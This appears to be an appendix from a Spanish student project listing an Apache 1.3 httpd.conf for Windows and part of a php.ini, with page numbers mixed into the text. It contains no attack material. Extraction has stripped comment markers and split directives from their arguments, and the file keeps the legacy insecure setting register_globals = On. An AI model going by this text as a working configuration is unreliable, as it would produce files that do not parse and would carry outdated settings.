# to which services and features are allowed and/or disabled in that
# directory (and its subdirectories).
#
# First, we configure the "default" to be a very restrictive set of
# permissions.
#
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
#
#
#
#
#
#
Note that from this point forward you must specifically allow
particular features to be enabled - so if something's not working as
you might expect, make sure that you have specifically enabled it
below.
#
# This should be changed to whatever you set DocumentRoot to.
#
<Directory "D:/PFC/www">
#
#
#
#
#
#
#
#
This may also be "None", "All", or any combination of "Indexes",

"Includes", "FollowSymLinks", "ExecCGI", or "MultiViews".
Note that "MultiViews" must be named *explicitly* --- "Options All"
doesn't give it to you.
Options Indexes FollowSymLinks MultiViews
Options FollowSymLinks
#
# This controls which options the .htaccess files in directories can
# override. Can also be "All", or any combination of "Options", "FileInfo",
# "AuthConfig", and "Limit"
#
AllowOverride None
Pg. 156
#
# Controls who can get stuff from this server.
#
Order allow,deny
Allow from all
</Directory>
#
# UserDir: The name of the directory which is appended onto a user's home
# directory if a ~user request is received.
#
# Under Win32, we do not currently try to determine the home directory of
# a Windows login, so a format such as that below needs to be used. See
# the UserDir documentation for details.
#
<IfModule mod_userdir.c>
UserDir "D:/PFC/Apache/users/"
</IfModule>
#
# Control access to UserDir directories. The following is an example
# for a site where these directories are restricted to read-only.
#
#<Directory "D:/PFC/Apache/users">
#
AllowOverride FileInfo AuthConfig Limit
#
Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
#
<Limit GET POST OPTIONS PROPFIND>
#
Order allow,deny
#
Allow from all
#
</Limit>
#
<LimitExcept GET POST OPTIONS PROPFIND>
#
Order deny,allow
#
Deny from all
#
</LimitExcept>
#</Directory>
#
# DirectoryIndex: Name of the file or files to use as a pre-written HTML
# directory index. Separate multiple entries with spaces.
#
<IfModule mod_dir.c>
DirectoryIndex index.html index.php
</IfModule>
#
# AccessFileName: The name of the file to look for in each directory
# for access control information.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess files from being viewed by
# Web clients. Since .htaccess files often contain authorization
# information, access is disallowed for security reasons. Comment
# these lines out if you want Web visitors to see the contents of
# .htaccess files. If you change the AccessFileName directive above,
# be sure to make the corresponding changes here.
#
# Also, folks tend to use names such as .htpasswd for password
# files, so this will protect those as well.
#
<Files ~ "^\.ht">
Order allow,deny
Deny from all
Satisfy All
</Files>
#
Pg. 157
# Para que no se visualicen los ficheros de include (.inc). Esto es

# importante ya que pueden contener informacion sensible (passwds, ...)
#
<Files ~ "\.inc$">
Order allow,deny
Deny from all
Satisfy All
</Files>
#
# CacheNegotiatedDocs: By default, Apache sends "Pragma: no-cache" with each
# document that was negotiated on the basis of content. This asks proxy
# servers not to cache the document. Uncommenting the following line disables
# this behavior, and proxies will be allowed to cache the documents.
#
#CacheNegotiatedDocs
#
# UseCanonicalName: (new for 1.3) With this setting turned on, whenever
# Apache needs to construct a self-referencing URL (a URL that refers back
# to the server the response is coming from) it will use ServerName and
# Port to form a "canonical" name. With this setting off, Apache will
# use the hostname:port that the client supplied, when possible. This
# also affects SERVER_NAME and SERVER_PORT in CGI scripts.
#
UseCanonicalName On
#
# TypesConfig describes where the mime.types file (or equivalent) is
# to be found.
#
<IfModule mod_mime.c>
TypesConfig conf/mime.types
</IfModule>
#
# DefaultType is the default MIME type the server will use for a document
# if it cannot otherwise determine one, such as from filename extensions.
# If your server contains mostly text or HTML documents, "text/plain" is
# a good value. If most of your content is binary, such as applications
# or images, you may want to use "application/octet-stream" instead to
# keep browsers from trying to display binary files as though they are
# text.
#
DefaultType text/plain
#
# The mod_mime_magic module allows the server to use various hints from the
# contents of the file itself to determine its type. The MIMEMagicFile
# directive tells the module where the hint definitions are located.
# mod_mime_magic is not part of the default server (you have to add
# it yourself with a LoadModule [see the DSO paragraph in the 'Global
# Environment' section], or recompile the server and include mod_mime_magic
# as part of the configuration), so it's enclosed in an <IfModule> container.
# This means that the MIMEMagicFile directive will only be processed if the
# module is part of the server.
#
<IfModule mod_mime_magic.c>
MIMEMagicFile conf/magic
</IfModule>
#
#
#
#
#
#
#
#
HostnameLookups: Log the names of clients or just their IP addresses

e.g., www.apache.org (on) or 204.62.129.132 (off).
The default is off because it'd be overall better for the net if people
had to knowingly turn this feature on, since enabling it means that
each client request will result in AT LEAST one lookup request to the
nameserver.
Pg. 158
HostnameLookups Off
#
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog logs/error.log
#
# LogLevel: Control the number of messages logged to the error.log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel warn
#
# The following directives define some format nicknames for use with
# a CustomLog directive (see below).
#
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
#
# The location and format of the access logfile (Common Logfile Format).
# If you do not define any access logfiles within a <VirtualHost>
# container, they will be logged here. Contrariwise, if you *do*
# define per-<VirtualHost> access logfiles, transactions will be
# logged therein and *not* in this file.
#
#CustomLog logs/access.log common
#
# If you would like to have agent and referer logfiles, uncomment the
# following directives.
#
#CustomLog logs/referer.log referer
#CustomLog logs/agent.log agent
#
# If you prefer a single logfile with access, agent, and referer information
# (Combined Logfile Format) you can use the following directive.
#
CustomLog logs/access.log combined
#
# Optionally add a line containing the server version and virtual host
# name to server-generated pages (error documents, FTP directory listings,
# mod_status and mod_info output etc., but not CGI generated documents).
# Set to "EMail" to also include a mailto: link to the ServerAdmin.
# Set to one of: On | Off | EMail
#
ServerSignature Off
#
#
#
#
#
#
Apache parses all CGI scripts for the shebang line by default.
This comment line, the first line of the script, consists of the symbols
pound (#) and exclamation (!) followed by the path of the program that
can execute this specific script. For a perl script, with perl.exe in
the C:\Program Files\Perl directory, the shebang line should be:
#!c:/program files/perl/perl
# Note you _must_not_ indent the actual shebang line, and it must be the
# first line of the file. Of course, CGI processing must be enabled by
Pg. 159
# the appropriate ScriptAlias or Options ExecCGI directives for the files

# or directory in question.
#
# However, Apache on Windows allows either the Unix behavior above, or can
# use the Registry to match files by extention. The command to execute
# a file of this type is retrieved from the registry by the same method as
# the Windows Explorer would use to handle double-clicking on a file.
# These script actions can be configured from the Windows Explorer View menu,
# 'Folder Options', and reviewing the 'File Types' tab. Clicking the Edit
# button allows you to modify the Actions, of which Apache 1.3 attempts to
# perform the 'Open' Action, and failing that it will try the shebang line.
# This behavior is subject to change in Apache release 2.0.
#
# Each mechanism has it's own specific security weaknesses, from the means
# to run a program you didn't intend the website owner to invoke, and the
# best method is a matter of great debate.
#
# To enable the this Windows specific behavior (and therefore -disable- the
# equivilant Unix behavior), uncomment the following directive:
#
#ScriptInterpreterSource registry
#
# The directive above can be placed in individual <Directory> blocks or the
# .htaccess file, with either the 'registry' (Windows behavior) or 'script'
# (Unix behavior) option, and will override this server default option.
#
#
# Aliases: Add here as many aliases as you need (with no limit). The format is
# Alias fakename realname
#
<IfModule mod_alias.c>
#
# Note that if you include a trailing / on fakename then the server will
# require it to be present in the URL. So "/icons" isn't aliased in this
# example, only "/icons/". If the fakename is slash-terminated, then the
# realname must also be slash terminated, and if the fakename omits the
# trailing slash, the realname must also omit it.
#
Alias /icons/ "D:/PFC/Apache/icons/"
#
<Directory "D:/PFC/Apache/icons">
Options Indexes MultiViews
Options MultiViews
AllowOverride None
Order allow,deny
Allow from all
</Directory>
# This Alias will project the on-line documentation tree under /manual/
# even if you change the DocumentRoot. Comment it if you don't want to
# provide access to the on-line documentation.
#
Alias /manual/ "D:/PFC/Apache/htdocs/manual/"
<Directory "D:/PFC/Apache/htdocs/manual">
Options Indexes FollowSymlinks MultiViews
AllowOverride None
Order allow,deny
Allow from all
</Directory>
#
#
#
#
#
#
ScriptAlias: This controls which directories contain server scripts.

ScriptAliases are essentially the same as Aliases, except that
documents in the realname directory are treated as applications and
run by the server when requested rather than as documents sent to the client.
The same rules about trailing "/" apply to ScriptAlias directives as to
Pg. 160
# Alias.
#
#ScriptAlias /cgi-bin/ "D:/PFC/Apache/cgi-bin/"
#
# "D:/PFC/Apache/cgi-bin" should be changed to whatever your ScriptAliased
# CGI directory exists, if you have that configured.
#
<Directory "D:/PFC/Apache/cgi-bin">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>
</IfModule>
# End of aliases.
#
#
#
#
#
#
Redirect allows you to tell clients about documents which used to exist in
your server's namespace, but do not anymore. This allows you to tell the
clients where to look for the relocated document.
Format: Redirect old-URI new-URL
#
# Directives controlling the display of server-generated directory listings.
#
<IfModule mod_autoindex.c>
#
# FancyIndexing is whether you want fancy directory indexing or standard
#
# Note, add the option TrackModified to the IndexOptions default list only
# if all indexed directories reside on NTFS volumes. The TrackModified flag
# will report the Last-Modified date to assist caches and proxies to properly
# track directory changes, but it does _not_ work on FAT volumes.
#
IndexOptions FancyIndexing
#
# AddIcon* directives tell the server which icon to show for different
# files or filename extensions. These are only displayed for
# FancyIndexed directories.
#
AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip
AddIconByType
AddIconByType
AddIconByType
AddIconByType
AddIcon
AddIcon
AddIcon
AddIcon
AddIcon
AddIcon
AddIcon
AddIcon
AddIcon
AddIcon
AddIcon
AddIcon
AddIcon
AddIcon
AddIcon
AddIcon
(TXT,/icons/text.gif) text/*
(IMG,/icons/image2.gif) image/*
(SND,/icons/sound2.gif) audio/*
(VID,/icons/movie.gif) video/*
/icons/binary.gif .bin .exe

/icons/binhex.gif .hqx
/icons/tar.gif .tar
/icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
/icons/compressed.gif .Z .z .tgz .gz .zip
/icons/a.gif .ps .ai .eps
/icons/layout.gif .html .shtml .htm .pdf
/icons/text.gif .txt
/icons/c.gif .c
/icons/p.gif .pl .py
/icons/f.gif .for
/icons/dvi.gif .dvi
/icons/uuencoded.gif .uu
/icons/script.gif .conf .sh .shar .csh .ksh .tcl
/icons/tex.gif .tex
/icons/bomb.gif core
Pg. 161
AddIcon
AddIcon
AddIcon
AddIcon
/icons/back.gif ..
/icons/hand.right.gif README
/icons/folder.gif ^^DIRECTORY^^
/icons/blank.gif ^^BLANKICON^^
#
# DefaultIcon is which icon to show for files which do not have an icon
# explicitly set.
#
DefaultIcon /icons/unknown.gif
#
# AddDescription allows you to place a short description after a file in
# server-generated indexes. These are only displayed for FancyIndexed
# directories.
# Format: AddDescription "description" filename
#
#AddDescription "GZIP compressed document" .gz
#AddDescription "tar archive" .tar
#AddDescription "GZIP compressed tar archive" .tgz
#
# ReadmeName is the name of the README file the server will look for by
# default, and append to directory listings.
#
# HeaderName is the name of a file which should be prepended to
# directory indexes.
#
# If MultiViews are amongst the Options in effect, the server will
# first look for name.html and include it if found. If name.html
# doesn't exist, the server will then look for name.txt and include
# it as plaintext if found.
#
ReadmeName README
HeaderName HEADER
#
# IndexIgnore is a set of filenames which directory indexing should ignore
# and not include in the listing. Shell-style wildcarding is permitted.
#
IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t
</IfModule>
# End of indexing directives.
#
# Document types.
#
<IfModule mod_mime.c>
#
# AddEncoding allows you to have certain browsers (Mosaic/X 2.1+) uncompress
# information on the fly. Note: Not all browsers support this.
# Despite the name similarity, the following Add* directives have nothing
# to do with the FancyIndexing customization directives above.
#
AddEncoding x-compress Z
AddEncoding x-gzip gz tgz
#
# AddLanguage allows you to specify the language of a document. You can
# then use content negotiation to give a browser a file in a language
# it can understand.
#
# Note 1: The suffix does not have to be the same as the language
# keyword --- those with documents in Polish (whose net-standard
# language code is pl) may wish to use "AddLanguage pl .po" to
# avoid the ambiguity with the common suffix for perl scripts.
#
# Note 2: The example entries below illustrate that in quite
Pg. 162
# some cases the two character 'Language' abbreviation is not

# identical to the two character 'Country' code for its country,
# E.g. 'Danmark/dk' versus 'Danish/da'.
#
# Note 3: In the case of 'ltz' we violate the RFC by using a three char
# specifier. But there is 'work in progress' to fix this and get
# the reference data for rfc1766 cleaned up.
#
# Danish (da) - Dutch (nl) - English (en) - Estonian (ee)
# French (fr) - German (de) - Greek-Modern (el)
# Italian (it) - Korean (kr) - Norwegian (no) - Norwegian Nynorsk (nn)
# Portugese (pt) - Luxembourgeois* (ltz)
# Spanish (es) - Swedish (sv) - Catalan (ca) - Czech(cz)
# Polish (pl) - Brazilian Portuguese (pt-br) - Japanese (ja)
# Russian (ru)
#
AddLanguage da .dk
AddLanguage nl .nl
AddLanguage en .en
AddLanguage et .ee
AddLanguage fr .fr
AddLanguage de .de
AddLanguage el .el
AddLanguage he .he
AddCharset ISO-8859-8 .iso8859-8
AddLanguage it .it
AddLanguage ja .ja
AddCharset ISO-2022-JP .jis
AddLanguage kr .kr
AddCharset ISO-2022-KR .iso-kr
AddLanguage nn .nn
AddLanguage no .no
AddLanguage pl .po
AddCharset ISO-8859-2 .iso-pl
AddLanguage pt .pt
AddLanguage pt-br .pt-br
AddLanguage ltz .lu
AddLanguage ca .ca
AddLanguage es .es
AddLanguage sv .sv
AddLanguage cz .cz
AddLanguage ru .ru
AddLanguage tw .tw
AddLanguage zh-tw .tw
AddCharset Big5
.Big5
.big5
AddCharset WINDOWS-1251 .cp-1251
AddCharset CP866
.cp866
AddCharset ISO-8859-5
.iso-ru
AddCharset KOI8-R
.koi8-r
AddCharset UCS-2
.ucs2
AddCharset UCS-4
.ucs4
AddCharset UTF-8
.utf8
tw
# LanguagePriority allows you to give precedence to some languages

# in case of a tie during content negotiation.
#
# Just list the languages in decreasing order of preference. We have
# more or less alphabetized them here. You probably want to change this.
#
<IfModule mod_negotiation.c>
LanguagePriority en da nl et fr de el it ja kr no pl pt pt-br ru ltz ca es sv
</IfModule>
#
# AddType allows you to tweak mime.types without actually editing it, or to
# make certain files to be certain types.
#
# For example, the PHP 3.x module (not part of the Apache distribution - see
Pg. 163
# http://www.php.net) will typically use:

#
#AddType application/x-httpd-php3 .php3
#AddType application/x-httpd-php3-source .phps
#
# And for PHP 4.x, use:
#
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps
AddType application/x-tar .tgz
#
# AddHandler allows you to map certain file extensions to "handlers",
# actions unrelated to filetype. These can be either built into the server
# or added with the Action command (see below)
#
# If you want to use server side includes, or CGI outside
# ScriptAliased directories, uncomment the following lines.
#
# To use CGI scripts:
#
#AddHandler cgi-script .cgi
#
# To use server-parsed HTML files
#
#AddType text/html .shtml
#AddHandler server-parsed .shtml
#
# Uncomment the following line to enable Apache's send-asis HTTP file
# feature
#
#AddHandler send-as-is asis
#
# If you wish to use server-parsed imagemap files, use
#
#AddHandler imap-file map
#
# To enable type maps, you might want to use
#
#AddHandler type-map var
</IfModule>
# End of document types.
#
#
#
#
#
#
#
Action lets you define media types that will execute a script whenever
a matching file is called. This eliminates the need for repeated URL
pathnames for oft-used CGI file processors.
Format: Action media/type /cgi-script/location
Format: Action handler-name /cgi-script/location
#
# MetaDir: specifies the name of the directory in which Apache can find
# meta information files. These files contain additional HTTP headers
# to include when sending the document
#
#MetaDir .web
#
# MetaSuffix: specifies the file name suffix for the file containing the
# meta information.
#
#MetaSuffix .meta
Pg. 164
#
# Customizable error response (Apache style)
# these come in three flavors
#
#
1) plain text
#ErrorDocument 500 "The server made a boo boo.
# n.b. the single leading (") marks it as text, it does not get output
#
#
2) local redirects
#ErrorDocument 404 /missing.html
# to redirect to local URL /missing.html
#ErrorDocument 404 /cgi-bin/missing_handler.pl
# N.B.: You can redirect to a script or a document using server-side-includes.
#
#
3) external redirects
#ErrorDocument 402 http://some.other_server.com/subscription_info.html
# N.B.: Many of the environment variables associated with the original
# request will *not* be available to such a script.
#
# Customize behaviour based on the browser
#
<IfModule mod_setenvif.c>
#
# The following directives modify normal HTTP response behavior.
# The first directive disables keepalive for Netscape 2.x and browsers that
# spoof it. There are known problems with these browser implementations.
# The second directive is for Microsoft Internet Explorer 4.0b2
# which has a broken HTTP/1.1 implementation and does not properly
# support keepalive when it is used on 301 or 302 (redirect) responses.
#
BrowserMatch "Mozilla/2" nokeepalive
BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0
#
# The following directive disables HTTP/1.1 responses to browsers which
# are in violation of the HTTP/1.0 spec by not being able to grok a
# basic 1.1 response.
#
BrowserMatch "RealPlayer 4\.0" force-response-1.0
BrowserMatch "Java/1\.0" force-response-1.0
BrowserMatch "JDK/1\.0" force-response-1.0
</IfModule>
# End of browser customization directives
#
# Allow server status reports, with the URL of http://servername/server-status
# Change the "kkkk" to match your domain to enable.
#
#<Location /server-status>
#
SetHandler server-status
#
Order deny,allow
#
Deny from all
#
Allow from kkkk
#</Location>
#
# Allow remote server configuration reports, with the URL of
# http://servername/server-info (requires that mod_info.c be loaded).
# Change the "kkkk" to match your domain to enable.
#
#<Location /server-info>
#
SetHandler server-info
#
Order deny,allow
#
Deny from all
#
Allow from kkkk
Pg. 165
#</Location>
#
# There have been reports of people trying to abuse an old bug from pre-1.1
# days. This bug involved a CGI script distributed as a part of Apache.
# By uncommenting these lines you can redirect these attacks to a logging
# script on phf.apache.org. Or, you can record them yourself, using the script
# support/phf_abuse_log.cgi.
#
#<Location /cgi-bin/phf*>
#
Deny from all
#
ErrorDocument 403 http://phf.apache.org/phf_abuse_log.cgi
#</Location>
#
# Proxy Server directives. Uncomment the following lines to
# enable the proxy server:
#
#<IfModule mod_proxy.c>
#
ProxyRequests On
#
#
#
#
#
<Directory proxy:*>
Order deny,allow
Deny from all
Allow from kkkk
</Directory>
#
# Enable/disable the handling of HTTP/1.1 "Via:" headers.
# ("Full" adds the server version; "Block" removes all outgoing Via: headers)
# Set to one of: Off | On | Full | Block
#
ProxyVia On
#
#
#
#
#
#
#
#
# To enable the cache as well, edit and uncomment the following lines:
# (no cacheing without CacheRoot)
#
CacheRoot "D:/PFC/Apache/proxy"
CacheSize 5
CacheGcInterval 4
CacheMaxExpire 24
CacheLastModifiedFactor 0.1
CacheDefaultExpire 1
NoCache a_domain.com another_domain.edu joes.garage_sale.com
#</IfModule>
# End of proxy directives.
### Section 3: Virtual Hosts
#
# VirtualHost: If you want to maintain multiple domains/hostnames on your
# machine you can setup VirtualHost containers for them. Most configurations
# use only name-based virtual hosts so the server doesn't need to worry about
# IP addresses. This is indicated by the asterisks in the directives below.
#
# Please see the documentation at <URL:http://www.apache.org/docs/vhosts/>
# for further details before you try to setup virtual hosts.
#
# You may use the command line option '-S' to verify your virtual host
# configuration.
#
# Use name-based virtual hosting.
#
#NameVirtualHost *
#
# VirtualHost example:
Pg. 166
# Almost any Apache directive may go into a VirtualHost container.

# The first VirtualHost section is used for requests without a known
# server name.
#
#<VirtualHost *>
#
ServerAdmin webmaster@dummy-host.example.com
#
DocumentRoot /www/docs/dummy-host.example.com
#
ServerName dummy-host.example.com
#
ErrorLog logs/dummy-host.example.com-error_log
#
CustomLog logs/dummy-host.example.com-access_log common
#</VirtualHost>
Pg. 167
7. Listado del fichero php.ini de PHP.

[PHP]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; PHP Configuration
;;
;; by Roman Medina-Heigl Hernandez ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;
; Language Options ;
;;;;;;;;;;;;;;;;;;;;
; Enable the PHP scripting language engine under Apache.
engine = On
; Allow the <? tag.
short_open_tag = On
Otherwise, only <?php and <script> tags are recognized.
; Allow ASP-style <% %> tags.

asp_tags = Off
; The number of significant digits displayed in floating point numbers.
precision
= 14
; Enforce year 2000 compliance (will cause problems with non-compliant browsers)
y2k_compliance = Off
; Output buffering allows you to send header lines (including cookies) even
; after you send body content, at the price of slowing PHP's output layer a
; bit. You can enable output buffering during runtime by calling the output
; buffering functions. You can also enable output buffering for all files by
; setting this directive to On. If you wish to limit the size of the buffer
; to a certain size - you can use a maximum number of bytes instead of 'On', as
; a value for this directive (e.g., output_buffering=4096).
output_buffering = 4096
; You can redirect all of the output of your scripts to a function. For
; example, if you set output_handler to "ob_gzhandler", output will be
; transparently compressed for browsers that support gzip or deflate encoding.
; Setting an output handler automatically turns on output buffering.
output_handler =
; Transparent output compression using the zlib library
; Valid values for this option are 'off', 'on', or a specific buffer size
; to be used for compression (default is 4KB)
;
; Note: output_handler must be empty if this is set 'On' !!!!
;
zlib.output_compression = Off
; Implicit flush tells PHP to tell the output layer to flush itself
; automatically after every output block. This is equivalent to calling the
; PHP function flush() after each and every call to print() or echo() and each
; and every HTML block. Turning this option on has serious performance
; implications and is generally recommended for debugging purposes only.
implicit_flush = Off
;
;
;
;
;
;
;
Whether to enable the ability to force arguments to be passed by reference

at function call time. This method is deprecated and is likely to be
unsupported in future versions of PHP/Zend. The encouraged method of
specifying which arguments should be passed by reference is in the function
declaration. You're encouraged to try and turn this option Off and make
sure your scripts work properly with it in order to ensure they will work
with future versions of the language (you will receive a warning each time
Pg. 168
; you use this feature, and the argument will be passed by value instead of by
; reference).
allow_call_time_pass_reference = Off
;
; Safe Mode
;
safe_mode = On
; By default, Safe Mode does a UID compare check when
; opening files. If you want to relax this to a GID compare,
; then turn on safe_mode_gid.
safe_mode_gid = Off
; When safe_mode is on, UID/GID checks are bypassed when
; including files from this directory and its subdirectories.
; (directory must also be in include_path or full path must
; be used when including)
safe_mode_include_dir =
; When safe_mode is on, only executables located in the safe_mode_exec_dir
; will be allowed to be executed via the exec family of functions.
safe_mode_exec_dir =
; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory
; or per-virtualhost web server configuration file.
;
;open_basedir =
; Setting certain environment variables may be a potential security breach.
; This directive contains a comma-delimited list of prefixes. In Safe Mode,
; the user may only alter environment variables whose names begin with the
; prefixes supplied here. By default, users will only be able to set
; environment variables that begin with PHP_ (e.g. PHP_FOO=BAR).
;
; Note: If this directive is empty, PHP will let the user modify ANY
; environment variable!
safe_mode_allowed_env_vars = PHP_
; This directive contains a comma-delimited list of environment variables that
; the end user won't be able to change using putenv(). These variables will be
; protected even if safe_mode_allowed_env_vars is set to allow to change them.
safe_mode_protected_env_vars = LD_LIBRARY_PATH
; This directive allows you to disable certain functions for security reasons.
; It receives a comma-delimited list of function names. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.
disable_functions =
; Colors for Syntax Highlighting mode.
; <font color="??????"> would work.
highlight.string = #CC0000
highlight.comment = #FF9900
highlight.keyword = #006600
highlight.bg
= #FFFFFF
highlight.default = #0000CC
highlight.html
= #000000
Anything that's acceptable in
;
; Misc
;
; Decides whether PHP may expose the fact that it is installed on the server
; (e.g. by adding its signature to the Web server header). It is no security
; threat in any way, but it makes it possible to determine whether you use PHP
; on your server or not.
expose_php = Off
Pg. 169
;;;;;;;;;;;;;;;;;;;
; Resource Limits ;
;;;;;;;;;;;;;;;;;;;
max_execution_time = 30
; Maximum execution time of each script, in seconds
memory_limit = 8M
; Maximum amount of memory a script may consume (8MB)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Error handling and logging ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; error_reporting is a bit-field. Or each number up to get desired error
; reporting level
; E_ALL
- All errors and warnings
; E_ERROR
- fatal run-time errors
; E_WARNING
- run-time warnings (non-fatal errors)
; E_PARSE
- compile-time parse errors
; E_NOTICE
- run-time notices (these are warnings which often result
;
from a bug in your code, but it's possible that it was
;
intentional (e.g., using an uninitialized variable and
;
relying on the fact it's automatically initialized to an
;
empty string)
; E_CORE_ERROR
- fatal errors that occur during PHP's initial startup
; E_CORE_WARNING
- warnings (non-fatal errors) that occur during PHP's
;
initial startup
; E_COMPILE_ERROR
- fatal compile-time errors
; E_COMPILE_WARNING - compile-time warnings (non-fatal errors)
; E_USER_ERROR
- user-generated error message
; E_USER_WARNING
- user-generated warning message
; E_USER_NOTICE
- user-generated notice message
;
; Examples:
;
;
- Show all errors, except for notices
;
;error_reporting = E_ALL & ~E_NOTICE
;
;
- Show only errors
;
;error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR
;
;
- Show all errors
;
error_reporting = E_ALL
; Print out errors (as a part of the output). For production web sites,
; you're strongly encouraged to turn this feature off, and use error logging
; instead (see below). Keeping display_errors enabled on a production web site
; may reveal security information to end users, such as file paths on your Web
; server, your database schema or other information.
display_errors = Off
; Even when display_errors is on, errors that occur during PHP's startup
; sequence are not displayed. It's strongly recommended to keep
; display_startup_errors off, except for when debugging.
display_startup_errors = Off
; Log errors into a log file (server-specific log, stderr, or error_log (below))
; As stated above, you're strongly advised to use error logging in place of
; error displaying on production web sites.
log_errors = On
; Store the last error/warning message in $php_errormsg (boolean).
track_errors = Off
; Disable the inclusion of HTML tags in error messages.
;html_errors = Off
Pg. 170
; String to output before an error message.

;error_prepend_string = "<font color=ff0000>"
; String to output after an error message.
;error_append_string = "</font>"
; Log errors to specified file.
error_log = "d:\pfc\apache\logs\php.log"
; Log errors to syslog (Event Log on NT, not valid in Windows 95).
;error_log = syslog
; Warn if the + operator is used with strings.
warn_plus_overloading = Off
;;;;;;;;;;;;;;;;;
; Data Handling ;
;;;;;;;;;;;;;;;;;
;
; Note - track_vars is ALWAYS enabled as of PHP 4.0.3
; The separator used in PHP generated URLs to separate arguments.
; Default is "&".
;arg_separator.output = "&"
; List of separator(s) used by PHP to parse input URLs into variables.
; Default is "&".
; NOTE: Every character in this directive is considered as separator!
;arg_separator.input = ";&"
; This directive describes the order in which PHP registers GET, POST, Cookie,
; Environment and Built-in variables (G, P, C, E & S respectively, often
; referred to as EGPCS or GPC). Registration is done from left to right, newer
; values override older values.
variables_order = "GPCS"
; Whether or not to register the EGPCS variables as global variables. You may
; want to turn this off if you don't want to clutter your scripts' global scope
; with user data. This makes most sense when coupled with track_vars - in which
; case you can access all of the GPC variables through the $HTTP_*_VARS[],
; variables.
;
; You should do your best to write your scripts so that they do not require
; register_globals to be on; Using form variables as globals can easily lead
; to possible security problems, if the code is not very well thought of.
register_globals = On
; This directive tells PHP whether to declare the argv&argc variables (that
; would contain the GET information). If you don't use these variables, you
; should turn it off for increased performance.
register_argc_argv = Off
; Maximum size of POST data that PHP will accept.
post_max_size = 8M
; This directive is deprecated.
gpc_order = "GPC"
Use variables_order instead.
; Magic quotes
;
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = On
; Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.
magic_quotes_runtime = Off
Pg. 171
; Use Sybase-style magic quotes (escape ' with '' instead of \').
magic_quotes_sybase = Off
; Automatically add files before or after any PHP document.
auto_prepend_file =
auto_append_file =
; As of 4.0b4, PHP always outputs a character encoding by default in
; the Content-type: header. To disable sending of the charset, simply
; set it to be empty.
;
; PHP's built-in default is text/html
default_mimetype = "text/html"
;default_charset = "iso-8859-1"
; Always populate the $HTTP_RAW_POST_DATA variable.
;always_populate_raw_post_data = On
;;;;;;;;;;;;;;;;;;;;;;;;;
; Paths and Directories ;
;;;;;;;;;;;;;;;;;;;;;;;;;
; UNIX: "/path1:/path2"
;include_path = ".:/php/includes"
;
; Windows: "\path1;\path2"
;include_path = ".;c:\php\includes"
; The root of the PHP pages, used only if nonempty.
; if PHP was not compiled with FORCE_REDIRECT, you SHOULD set doc_root
; if you are running php as a CGI under any web server (other than IIS)
; see documentation for security issues. The alternate is to use the
; cgi.force_redirect configuration below
doc_root =
; The directory under which PHP opens the script using /~usernamem used only
; if nonempty.
user_dir =
; Directory in which the loadable extensions (modules) reside.
extension_dir = ./
; Whether or not to enable the dl() function. The dl() function does NOT work
; properly in multithreaded servers, such as IIS or Zeus, and is automatically
; disabled on them.
enable_dl = On
;
;
;
;
;
cgi.force_redirect is necessary to provide security running PHP as a CGI under

most web servers. Left undefined, PHP turns this on by default. You can
turn it off here AT YOUR OWN RISK
**You CAN safely turn this off for IIS, in fact, you MUST.**
cgi.force_redirect = 1
; if cgi.force_redirect is turned on, and you are not running under Apache or
Netscape
; (iPlanet) web servers, you MAY need to set an environment variable name that PHP
; will look for to know it is OK to continue execution. Setting this variable MAY
; cause security issues, KNOW WHAT YOU ARE DOING FIRST.
; cgi.redirect_status_env = ;
;;;;;;;;;;;;;;;;
; File Uploads ;
;;;;;;;;;;;;;;;;
; Whether to allow HTTP file uploads.
file_uploads = On
Pg. 172
; Temporary directory for HTTP uploaded files (will use system default if not
; specified).
;upload_tmp_dir =
; Maximum allowed size for uploaded files.
upload_max_filesize = 2M
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = Off
; Define the anonymous ftp password (your email address)
;from="john@doe.com"
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
;
; If you wish to have an extension loaded automatically, use the following
; syntax:
;
;
extension=modulename.extension
;
; For example, on Windows:
;
;
extension=msql.dll
;
; ... or under UNIX:
;
;
extension=msql.so
;
; Note that it should be the name of the module only; no directory information
; needs to go here. Specify the location of the extension with the
; extension_dir directive above.
;Windows Extensions
;Note that MySQL and ODBC support is now built in, so no dll is needed for it.
;
;extension=php_bz2.dll
;extension=php_ctype.dll
;extension=php_cpdf.dll
;extension=php_curl.dll
;extension=php_cybercash.dll
;extension=php_db.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_dbx.dll
;extension=php_domxml.dll
;extension=php_dotnet.dll
;extension=php_exif.dll
;extension=php_fbsql.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd.dll
;extension=php_gettext.dll
;extension=php_hyperwave.dll
